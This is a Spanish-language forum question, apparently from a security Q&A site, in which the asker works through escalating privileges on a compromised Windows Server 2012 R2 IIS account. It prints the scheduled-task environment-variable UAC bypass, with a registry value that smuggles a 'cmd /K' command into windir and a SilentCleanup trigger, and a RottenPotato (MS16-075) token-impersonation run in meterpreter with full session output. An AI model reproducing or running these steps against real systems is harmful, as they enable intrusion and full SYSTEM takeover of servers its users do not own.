Explotación de variables de entorno en tareas programadas para omisión de UAC

2

Estoy tratando de escalar los privilegios de un usuario de ISS en Windows Server 2012 R2 explotando las variables de entorno en las tareas programadas para omitir UAC, ya que el siguiente enlace explica la vulnerabilidad:

enlace

Relato corto: El artículo explica que, como CU, un atacante puede anular la ruta de una tarea ya programada con "RunLevel: Highest" (privilegios más altos) con otra ruta.

Desafortunadamente para mi:

meterpreter > shell
Process 11056 created.
Channel 26 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

d:\UploadFolder>reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "
ERROR: Access is denied.

d:\UploadFolder>

Pero:

d:\UploadFolder>schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
SUCCESS: Attempted to run the scheduled task "\Microsoft\Windows\DiskCleanup\SilentCleanup".

¿Hay alguna forma de evitar el error "ERROR: Acceso denegado". para el HKCU?

Edición posterior:

Pude usar el rottenpotato.exe (explotar la carga útil para MS16-075) para obtener NT AUTHORITY \ SYSTEM en el sistema. Así que puedo usar una vulnerabilidad de 2016 pero no puedo usar una vulnerabilidad de 2017 debido a que "ERROR: Acceso denegado".

meterpreter > execute -f rottenpotato.exe -Hc
Process 6960 created.
Channel 1 created.
meterpreter >  list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
IIS APPPOOL\BOX

Impersonation Tokens Available
========================================
NT AUTHORITY\IUSR
NT AUTHORITY\SYSTEM

meterpreter > impersonate_token "NT AUTHORITY\System"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Edición posterior 2:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeIncreaseQuotaPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeIncreaseQuotaPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Entonces intenté explotar las variables de entorno en las tareas programadas para UAC Bypass mientras NT AUTHORITY \ SYSTEM, después de un tiempo (5 minutos) apareció un nuevo shell de meterpreter y:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpr
getprivs  getproxy  
meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeBackupPrivilege
SeRelabelPrivilege
SeChangeNotifyPrivilege
SeTcbPrivilege
SeCreateGlobalPrivilege
SeSystemEnvironmentPrivilege
SeCreatePagefilePrivilege
SeManageVolumePrivilege
SeCreatePermanentPrivilege
SeSecurityPrivilege
SeCreateSymbolicLinkPrivilege
SeSystemtimePrivilege
SeCreateTokenPrivilege
SeTrustedCredManAccessPrivilege
SeDebugPrivilege
SeProfileSingleProcessPrivilege
SeImpersonatePrivilege
SeRestorePrivilege
SeIncreaseBasePriorityPrivilege
SeShutdownPrivilege
SeIncreaseQuotaPrivilege
SeSystemProfilePrivilege
SeIncreaseWorkingSetPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeTimeZonePrivilege
SeLockMemoryPrivilege
SeUndockPrivilege

meterpreter > 
    
pregunta Lucian Nitescu 22.08.2018 - 14:12
fuente

0 respuestas

Lea otras preguntas en las etiquetas